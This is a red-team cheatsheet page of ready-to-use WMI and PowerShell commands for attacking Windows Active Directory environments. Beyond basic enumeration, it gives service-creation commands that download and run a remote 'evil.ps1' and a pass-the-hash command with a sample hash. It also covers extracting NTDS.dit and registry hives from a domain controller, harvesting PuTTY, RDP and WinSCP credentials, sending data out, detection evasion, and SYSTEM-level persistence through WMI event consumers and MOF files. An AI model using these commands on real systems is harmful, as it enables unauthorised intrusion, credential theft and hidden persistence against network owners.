Skip to main content

WMI

The goal of this cheatsheet is to provide some "ready to use" commands for enumeration, attacks and persistence with WMI in an Active Directory environment. It is complementary to the Active Directory cheatsheet.

If WMI is blocked in your environment, you can try to use CIM commands with WS-MAN

Misc

Get the commands

Get-Command -CommandType cmdlet *wmi*
Get-Command -CommandType cmdlet *cim*

Useful Windows Utility

  • Sapien WMI Explorer - Browse, generate queries and more

  • WMI Code Creator - Generate WMI queries in VBScript, C# and VB.Net

  • WMIGen.exe - Generate WMI queries in many languages

  • Wbemtest.exe

  • PowerShell WMI Explorer - Script which can generate WMI code samples from GUI

Enumeration

Exploring Namespaces

Enumerate all namespaces

Get-WmiObject -Namespace "root" -Class "_Namespace" | select Name
Get-CimInstance -Namespace "root" -Class "_Namespace" | select Name

Nested namespaces

#From powershellmagazine 2013
Get-WmiNamespace.ps1

Exploring Classes

Classes are items in the namespaces

Get-WmiObject -List
Get-WmiObject -Class *bios* -List
Get-WmiObject -NameSpace "root/default" -List
Get-CimClass -List

Get only the dynamic classes (to query them after)

Get-CimClass -QualifierName dynamic

Information about a class

Get-WmiObject -Class Win32_BIOS #Exact name
Get-CimInstance -ClassName Win32_BIOS

Filter

Get-WmiObject -Class Win32_process | Where-Object {$._Name -eq "explorer.exe"}

Remove Objects

Get-WmiObject -Class Win32_process | Where-Object {$._Name -eq "explorer.exe"} | Remove-WmiObject

Exploring Methods

Get-WmiObject * -List | Where-Object {$._Methods}

Get all methods

Get-CimClass -MethodName *

Get all class with a method

Get-CimClass -MethodName Create

Get methods of a class

Get-WmiObject -Class win32_process -List | select -ExpandProperty methods

Get parameters for a method

Get-CimClass -ClassName win32_process | select -ExpandProperty CimClassMethods | where name -eq "Create" | select -ExpandProperty Parameters

Using methods

Create executable

We can create executable with Create methods from win32_process

Invoke-WmiMethod -Class win32_process -Name Create -ArgumentListe @(calc.exe)
Invoke-CimMethod -ClassName win32_process -Name Create -Arguments @{commandline = "calc.exe"}

Modify instance

Useful to modify writable properties of WMI objects

Get-WmiObject -Class win32_Printer -Filter "Name = 'Microsoft XPS Document Writer'" | Set-WmiInstance -Arguments @{Comment = "WMI Coucou"}
Get-CimInstance -ClassName win32_Printer -Filter "Name = 'Microsoft XPS Document Writer'" | Set-CimInstance -Property @{Comment = "CIM Coucou"}

Associations

There are relations between WMI classes which can be used to retrieve information about managed objects

By running, for example, Get-WmiObject -Class win32_NetworkAdaptater | fl * we can retrieve the __RELPATH property, which can be used to list associations

Associators Of

Get all instances from all the associated classes

#DeviceID is the RELPATH
Get-WmiObject -Query "Associators of {win32_NetworkAdaptater.DeviceID=11}"

Look only at the associated class definition

Get-WmiObject -Query "Associators of {win32_NetworkAdaptater.DeviceID=11} Where ClassDefsOnly"

Can also be done with Get-CimAssociatedInstance

Retrieve instance of a single associated class

Get-WmiObject -Query "Associators of {win32_NetworkAdaptater.DeviceID=11} Where AssocClass=win32_ProtocolBinding"

If there is no output, try to change DeviceID value

References Of

There is some classes that make links between other classes

List

Get-WmiObject -Query "References of {win32_NetworkAdaptater.DeviceID=11} Where ClassDefsOnly"

WMIC

WMI command line, outdated by PowerShell cmdlet

wmic
>/? #Run help
>process /? #get help on process class

Can take multiple verbs to call, create, delete, list, etc

Some examples :

Groups

>group where name='Administrator' assoc

Get process name

>process get name

Spawn a new process on a target

wmic /node:10.0.0.6 /user:administrator process call create "cmd.exe /c calc"

Missing patches

Look at missing patches on the box

wmic qfe list

Remote Computers

We need admin privs on the target machine
If the WMI or the RPC port don't work, we can use CIM cmdlet

Retrieve remote objects

Get-WmiObject -Class win32_OperatingSystem -ComputerName 192.168.1.1 -Credential contoso\john

Create a CIM session

$sess = New-CimSession -ComputerName 192.168.1.1 -Credential contoso\john
Get-CimInstance -CimSession $sess -ClassName win32_OperatingSystem

Force DCOM use

$sessionoptions = New-CimSessionOption -Protocol Dcom
$newsession = New-CimSession -SessionOption $sessionoptions -ComputerName 192.168.1.1 -Credential contoso\john

Interact with Windows Registry

Present in the root\default namespace

Get-WmiObject -Namespace "root\default" -Class StdRegProv -List | select -ExpandProperty Methods
#Or
$reg = Get-WmiObject -Namespace "root\default" -Class StdRegProv -List
$reg.methods

Retrieve typed Internet Explorer URL

In the registry key HKCU:\software\microsoft\internet explorer\typeurls

Get all the properties

#2147483649 = HKCU
Invoke-WmiMethod -Namespace root\default -Class StdRegProv -Name EnumKey @(2147483649,"software\microsoft\internet explorer") | select -ExpandProperty sNames

Get the values

Invoke-WmiMethod -Namespace root\default -Class StdRegProv -Name GetStringValue @(2147483649,"software\microsoft\internet explorer\typedurls","url1")
#Or
$reg.GetStringValue(2147483649,"software\microsoft\internet explorer\typedurls","url1")

On remote computer

Invoke-WmiMethod -Namespace root\default -Class StdRegProv -Name GetStringValue @(2147483649,"software\microsoft\internet explorer\typedurls","url1") -ComputerName 192.168.1.1 -Credential contoso\john

WMI for Red Team

  • Enable on all Windows by default

  • Generally not well monitored, or absolutly not

  • Mix really well with traffic

  • Provide SYSTEM execution

  • Execution persistence across reboot

Standard information gathering

Lots of interesting information can be extracted

win32_IP4RouteTable
win32_UserAccount
win32_Group
win32_ShadowCopy #To gather some secrets
StdRegProv #For registry information

By running win32_UserAccount from a Domain Machine, it's possible to retrieve all the local accounts, but also the domain accounts, and the accounts from all the domains and forests which have bidirectionnal trusts with us !

Same thing with win32_Group

Invoke-SessionGopher

  • Identify admin jump-box and computers used to access Unix machines

  • Information extract for Putty and RDP and can decrypt creds for WinSCP from registry

  • Uses WMI to extract info from admin registry

Extract information from local box

Invoke-SessionGopher -Verbose

From remote box

Invoke-SessionGopher -ComputerName 192.168.1.1 -Credential contoso\john

From all domain

Invoke-SessionGopher -Credential contoso\john -AllDomain

To exclude the DC to limit detection

Invoke-SessionGopher -Credential contoso\john -AllDomain -ExcludeDC

With thorough mode

Can retrieve Putty private keys (.ppk), RFP file (.rdp) and RSA keys (.stdid)

Invoke-SessionGopher -Thorough

Active Directory information gathering

  • WMI can be used for AD enumeration

  • root\directory\ldap namespace can be used

  • Class prefixed with ads_are abstract, with ds_they are dynamic

Get the current domain

Get-WmiObject -Namespace root\directory\ldap -Class ds_domain | select -ExpandProperty ds_dc

Current domain policy

Get-WmiObject -Namespace root\directory\ldap -Class ds_domain | select DS_lockoutDuration, DS_lockoutObservationWindow, DS_lockoutThreshold, DS_maxPwdAge, DS_minPwdAge, DS_minPwdLength, DS_pwdHistoryLength, DS_pwdProperties

Get the current DC

Get-WmiObject -Namespace root\directory\ldap -Class ds_domain | Where-Object {$_.ds_UserAccountControl -eq 532480} | select ds_cn

Domain user accounts

Get-WmiObject -Class win32_UserAccount
Get-WmiObject -Class win32_UserAccount | select name
Get-WmiObject -Class win32_UserAccount -Filter "Domain = 'contoso'"

Domain groups

Get-WmiObject -Class win32_Group
#Groups from another domain
Get-WmiObject -Class win32_GroupInDomain | Where-Object {$._GroupComponent -match "childone"} | Foreach-Object {[wmi]$._PartComponent}

Group memberships

Get-WmiObject -Class win32_GroupUser | Where-Object {$._GroupComponent -match "Domain Admins"} | Foreach-Object {[wmi]$._PartComponent}

#For a specific domain
Get-WmiObject -Class win32_GroupUser | Where-Object {$._GroupComponent -match "childone" -and $._GroupComponent -match "Domain Admins"} | Foreach-Object {[wmi]$._PartComponent}

Group membership of a particular user

Get-WmiObject -Class win32_GroupUser | Where-Object {$._PartComponent -match "john"} | Foreach-Object {[wmi]$._GroupComponent}

Get all domain computers

Get-WmiObject -Namespace root\directory\ldap -Class ds_computer
Get-WmiObject -Namespace root\directory\ldap -Class ds_computer | select -ExpandProperty ds_cn

Check admin access

By default, WMI can only run remote command on a machine if we have admin rights on it
By trying to run a simple command on all the domain machine, we can check if we have any admin privs on them

#Get the computer list
$computers = Get-WmiObject -Namespace root\directory\ldap -Class ds_computer | select -ExpandProperty ds_cn

#For each one, try to access to win32_ComputerSystem
foreach($computer in $computers) {
    (Get-WmiObject win32_ComputerSystem -ComputerName $computer).Name
}

Lateral Movement

Information storage

WMI can be useful to store information like shellcode, instructions, registry, etc

  • To receive a file or save info to a file

Get-InfoWmi -Outfile C:\tmp\evil.ps1
  • To send data from the target to the attacker box
Send-InfoWmi -DatatoSend (Get-Process) -ComputerName 192.168.1.2 -Username Administrator
  • To transfer a file
Send-InfoWmi -FiletoSend C:\tmp\evil.ps1 -ComputerName 192.168.1.2 -Username Administrator

Command execution - win32_service

It's possible to start a process or a script with WMI on a machine

  • Create a service
$ServiceType = [byte] 16
$ErrorControl = [byte] 1
Invoke-WmiMethod -Class win32_Service -Name Create -ArgumentList $false,"Windows Performance",$errorcontrol,$null,$null,"WinPerf","C:\Windows\System32\calc.exe",$null,$ServiceType,"Manual","NT AUTHORITY\SYSTEM",""

Arguments

Definitions

$false

DesktopInteract

"Windows Performance"

DisplayName

$ErrorControl

User is notified

$null

LoadorderGroup

$null

LoadorderGroupDependencies

"WinPerf"

Name

"C:\Windows\System32\calc.exe"

PathName

$null

ServiceDependencies

$ServiceType

Own process

'Manual"

StartMode

"NT AUTHORITY\SYSTEM"

StartName

""

StartPassword

  • Start the service
Get-WmiObject -Class win32_Service -Filter 'Name = "WinPerf"' | Invoke-WmiMethod -Name StartService
  • Remove the service
Get-WmiObject -Class win32_Service -Filter 'Name = "WinPerf"' | Remove-WmiObject

Abuse command execution

Invoke-WmiMethod -Class win32_Service -Name Create -ArgumentList $false,"Windows Performance",$errorcontrol,$null,$null,"WinPerf","C:\Windows\System32\cmd.exe /c powershell -e <Base64EncodedScript>",$null,$ServiceType,"Manual","NT AUTHORITY\SYSTEM","" -ComputerName 192.168.1.1 -Credential contoso\john

#With iex
Invoke-WmiMethod -Class win32_Service -Name Create -ArgumentList $false,"Windows Performance",$errorcontrol,$null,$null,"WinPerf","C:\Windows\System32\cmd.exe /c powershell iex (New-Object Net.WebClient).DownloadString('http://IP/evil.ps1')",$null,$ServiceType,"Manual","NT AUTHORITY\SYSTEM","" -ComputerName 192.168.1.1 -Credential contoso\john

Pass The Hash

With Invoke-WMIExec it's possible to realise a Pass The Hash with WMI

Invoke-WmiExec -target ws01 -hash 32ed87bd5fdc5e9cba88547376818d4 -username administrator -command hostname

The RID of the target user must be at 500
If not (not a builtin admin), the privileges will be stripped during the token creation

The solution is to setup this registry key at 0x1 on the machine

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy

Backdoors with WMI

Custom WMI Provider

Invoke-WmiMethod -Class win32_NetConnection -Name RunPS -ArgumentList "Get-Host"

To execute a PowerShell script:

Invoke-WmiMethod -Class win32_NetConnection -ComputerName 192.168.1.1 -Credential contoso\john -Name RunPS -ArgumentList "iex (New-Object Net.WebClient).DownloadString('http://IP/evil.ps1')"
#Execute Shell Code
Invoke-WmiMethod -Class win32_Evil -Name ExecShellCode -ArgumentList @(0x90, 0x90, 0x90), $null

DCSync with WMI

Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy

Create a shadow copy of the DC C:\ drive

wmic /node:dc01 /user:administrator@offense /password:123456 process call create "cmd /c vssadmin create shadow /for=C: 2>&1"

Copy NTDS.dit, SYSTEM and SECURITY hive

wmic /node:dc01 /user:administrator@offense /password:123456 process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\temp\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM c:\temp\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY c:\temp\"

Mount the new drive

net use j: \\dc01\c$\temp /user:administrator 123456; dir j:\

The files will be in J:\ on the DC

Bypass Parent / Child process detection

Bypassing Parent Child / Ancestry Detections

WMI Events

WMI has an infrastructure which provides the capability of respond and receive notifs when system changes happen (user logon, process creation...)

  • Consumer : consume the events, can be temporary or permanent

    • Temporary : run as long the app is running

    • Permanent : run everytime, persistent across reboots, run as SYSTEM

Event types :

  • Intrinsic : events which triggered on a change in WMI standard, for example a new instance of win32_LogicalDisk

  • Extrinsic : events which are defined by the user, for example computer shutdown

Permanent Event Consumers

  • Filter : the target event

  • Consumer : action to do when event occurs

  • Binfing : relationship between filter and consumer

List consumers

$namespaces = Get-WmiNamespaces
foreach ($ns in $namespaces) {Get-WmiObject -Namespace $ns -List | where {$_.__SUPERCLASS -eq 'EventConsumer'}}

Class

Description

ActiveScriptEventConsumer

Executes a predefined VBScript or Jscript

CommandLineEventConsumer

Launches a process winth SYSTEM privileges

LogFileEventConsumer

Write data to a log file

NTEventLogEventConsumer

Logs a message to the Windows event log

SMTPEventConsumer

Sends an email using SMTP

 

Persistence

In a Red Team objective, ActiveScriptEventConsumer and CommandLineEventConsumer are the most useful

ActiveScriptEventConsumer

To run a VBScript with the $VBScript variable
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
$filterPath = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{name=$filterName; EventNameSpace=$filterNS; QueryLanguage="WQL"; Query=$query}
$consumerPath = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments @{name=$filterName; ScriptFileName=$VBSFile; ScriptingEngine="VBScript"}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filterPath; Consumer=$consumerPath} |  out-null

CommandLineEventConsumer

To run a PowerShell script with the $Payload variable

$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
$filterPath = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{name=$filterName; EventNameSpace=$filterNS; QueryLanguage="WQL"; Query=$query}
$consumerPath = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{name=$filterName; CommandLineTemplate = $Payload}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$filterPath; Consumer=$consumerPath} |  out-null

Add-Persistence

The attack con be realised with the Add-Persistence.ps1 script from Nishang

Add-Persistence -PayloadScript .\Invoke-HelloWord.ps1 -Verbose

Can be reverted with Remove-Persistence.ps1

The script Persistence.psm1 from PowerSploit can work perfectly also, or WMIBackdoor.ps1by Matthew Graeber

MOF Files

  • MOF Files can be used for persistence

  • Same principe as above, but more noisy

  • Need to compile the file

mofcomp.exe ./test.mof
mofcomp.exe -autorecover ./test.mof
mofcomp.exe -N \\192.168.1.1\test\test.mof

Master script

Abusing Windows Managent Instrumentation

Security Descriptors

It's possible to modify Security Decriptors with WMI. Admin rights needed

ACE String

image-1623959392410.png

Set security descriptor

Set-RemoteWMI.ps1 from Nishang permits user or group access rights to WMI namespaces, to access as an administrator

Set-RemoteWMI -UserName john -Verbose
Set-RemoteWMI -UserName john -ComputerName 192.168.1.1 -Credential contoso\wmiadmin -Verbose

Only one namespace

Set-RemoteWMI -UserName john -namespace 'root\cimv2' -ComputerName 192.168.1.1 -Credential contoso\wmiadmin -Verbose

To remove the entries

Set-RemoteWMI -UserName john -Verbose -Remove

References